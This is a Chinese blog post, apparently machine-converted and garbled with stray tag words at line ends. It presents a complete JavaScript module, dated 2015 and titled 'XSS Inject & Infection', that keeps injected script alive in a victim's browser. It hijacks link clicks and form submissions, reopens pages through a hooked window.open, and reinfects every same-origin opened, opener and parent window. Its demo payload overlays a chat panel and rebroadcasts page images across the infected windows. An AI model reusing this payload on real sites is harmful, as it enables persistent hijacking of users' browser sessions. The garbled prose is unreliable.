首先須要瞭解一下幾點:css
1.瀏覽器中Javascript變量的生命週期跨域
Javascript變量的生命週期並非你聲明這個變量個窗口閉就被回收,只要有引用就會一直持續到瀏覽器關閉。瀏覽器
2.window對象下方法會在在窗口被關閉時清掉,好比:app
window.setTimeout(function(){ alert('Hello') },5000)
若是窗口被關掉了,那麼這個回調是不會執行的[事實上,全部window全部的NativeCode都沒辦法用了]。dom
3.window.opener能夠獲取打開當前頁面的窗口測試
4.window.open打開的窗口只要同域,咱們是能夠操做的[攔截A標籤,而後用window.open打開這個頁面就好啦]ui
5.跨域的窗口沒法操做,嘗試修改document.domain直接異常this
6.全部代碼測試於Chrome瀏覽器,未測試其餘瀏覽器spa
下面是代碼實現,點擊按鈕能夠當即體驗:prototype
/** * Created by AepKill on 2015-7-1 10:53:17 * XSS Inject & Infection */ var XSS=(function(){ var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0'; var TOOL={ extend:function(){ if (arguments.length<=0) return {}; var result={}; for(var i= 0,l=arguments.length;i<l;i++){ for (var j in arguments[i]){ result[j]=arguments[i][j]; } } return result; }, //RunCode injectCode:function(win,code,args,self){ if (! win.window === win){ return false; } try { win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]); } catch(e){ } return true; }, dispatchMessage:function(winList,args){ winList.getWinList().forEach(function(distWin){ try{ var message=distWin[MODULE_NAME]['Message']; message.dispatch.apply(message,Array.prototype.slice.call(args)); }catch(e){ } }) }, sysDispatchMessage:function(winList,args){ } }; /*Message*/ function Message(){ //消息 var messageList={}; //消息訂閱 this.subscription=function(msg){ if (messageList[msg] === undefined ){ messageList[msg]=new Array(); } Array.prototype.slice.call(arguments,1).forEach(function(e){ if (typeof e == "function") messageList[msg].push(e); }); }; //消息退訂 this.unsubscribe=function(msg){ var msglist=messageList[msg]; Array.prototype.slice.call(arguments,1).forEach(function(e){ for (var i=0;i<msglist.length;i++){ if (msglist[i]==e){ msglist.splice(i,1); i--; } } }); }; //消息派送 this.dispatch=function(msg){ var args=Array.prototype.slice.call(arguments,1); if (messageList[msg]){ messageList[msg].forEach(function(e){ e.apply(null,args); }) } } } /*End With Message*/ /*WinList*/ function CreateWinList(winList){ function WinList(winList){ var winList=winList.concat(); this.deleteWindow=function(win){ for (var i= 0,l=winList.length;i<l;i++){ if (win===winList[i]){ winList.splice(i,1); break; } } }; this.hasWindow=function(win){ return winList.indexOf(win)!==-1; }; this.addWindow=function(win){ if (this.hasWindow(win)) return ; winList.push(win); } this.getWinList=function(){ return winList.concat(); }; this.isEmpty=function(){ return winList.length===0; }; this.clearCloseWindow=function(){ winList.forEach(function(e,i){ if (e.closed){ winList.splice(i,1); } }) } } WinList.prototype=new Message(); return Object.freeze(new WinList(winList)); } /*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){ var window=this; var _open=window.open; var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0'; window[MODULE_NAME]={}; var module=window[MODULE_NAME]; module['Message']=message; if (module['RunCode'] === undefined) module['RunCode']=false; window.open=function(){ var win=_open.apply(this,arguments); if (win){ winList.dispatch('windowJoin',win); window['openWin']=win; }; return win; }; function afterLoad(){ module['RunCode']=true; TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt); window.document.addEventListener('click',function(e){ var el= e.target; do{ if (el.tagName == 'A'){ e.preventDefault(); e.stopPropagation(); window.open(el.href); break; } el=el.parentNode; }while(el!=document) }); window.document.addEventListener('submit', function(e){ var name = Math.random().toString(); open('', name); var form = e.target; form.target = name; }); window.addEventListener("unload", function( event ) { winList.dispatch('windowQuit',window,event); }); }; window.addEventListener('DOMContentLoaded',function(){ if (module['RunCode']===false) afterLoad(); }); setTimeout(function(){ if (module['RunCode']===false) afterLoad(); },1000); } /*End With CoreModule*/ var defaults={ runCode:function(winList,win,message,global){ /* * winList 當前全部感染窗口的列表 * win 執行代碼環境的window對象 * message 消息隊列 可訂閱、發送消息 * global 全局對象 * 說明:runCode在每一個窗口都會執行一次 * */ console.log('汪汪汪------'); } } return function(opt){ var winList=CreateWinList([]); opt=TOOL.extend(defaults,opt||{}); var globalObj=Object.freeze({ dispatch:function(){ TOOL.dispatchMessage(winList,arguments); }, getWinList:function(){ return winList.getWinList(); }, data:{ } }); winList.subscription('windowJoin',function(win){ if (!win.window || win.closed) return ; winList.clearCloseWindow(); var message=new Message(); TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win); globalObj.dispatch('windowJoin',win); winList.addWindow(win); //console.log('JOIN',winList.getWinList().length); }); winList.subscription('windowQuit',function(win,event){ winList.clearCloseWindow(); if (winList.hasWindow(win)){ winList.deleteWindow(win); }else{ return; } globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){ var hero=winList.getWinList()[0]; TOOL.injectCode(hero,function(winList,win){ setTimeout(function(){ winList.dispatch('windowJoin',win); },500); },[winList,win]); } }); //從iframe中往上遍歷 if (window.top != window.self){ var win = window; while (win = win.parent) { } winList.dispatch('windowJoin',win); }else{ winList.dispatch('windowJoin',window); } //遍歷打開的窗口 var temp1=window.opener; while(temp1){ winList.dispatch('windowJoin',temp1); temp1=temp1.opener; }; }; })(); XSS({ runCode:function(winList,win,message,global) { var window=win; function code() { var strVar = ""; strVar += ""; strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>"; strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">"; strVar += ""; strVar += " <\/p>"; strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">"; strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>"; strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">廣播信息<\/button>"; strVar += " <\/form>"; var css = ""; css += "position:fixed;"; css += "z-index:99999999;"; css += "left:50%;"; css += "top:50%;"; css += "height50%;"; css += "margin-left:-300px;"; css += "margin-top:-225px;"; css += "height: 450px;"; css += "width: 600px;"; css += "border-radius: 10px;"; css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);"; css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div'); div.style.cssText=css; div.innerHTML=strVar; document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){ text.innerHTML+=txt+'<br/>'; } document.querySelector('#form1').onsubmit=function(e){ appendText('我說:'+this['content'].value) global.dispatch('Say', window,'['+document.title+'] 說:'+ this['content'].value); e.stopPropagation(); e.preventDefault(); return false; } appendText('['+document.title+'] 頁面被注入了代碼'); message.subscription('Say',function(win,message){ if (win!==window) appendText(message); }); message.subscription('windowJoin',function(win){ appendText('['+win.document.title+'] 頁面被注入了代碼'); }); message.subscription('windowQuit',function(win){ appendText('['+win.document.title+'] 頁面被關閉了'); }); var imgList=window.document.querySelectorAll('img'); var count=0; var timer=window.setInterval(function(){ appendText('我說:我給你們發圖片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' ) global.dispatch('Say', window,'['+document.title+'] 說:我給你們發圖片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' ); if (count>=imgList){ clearInterval(timer); } },2000); } if (document.body) { code(); } else { window.addEventListener('DOMContentLoaded', code); } } });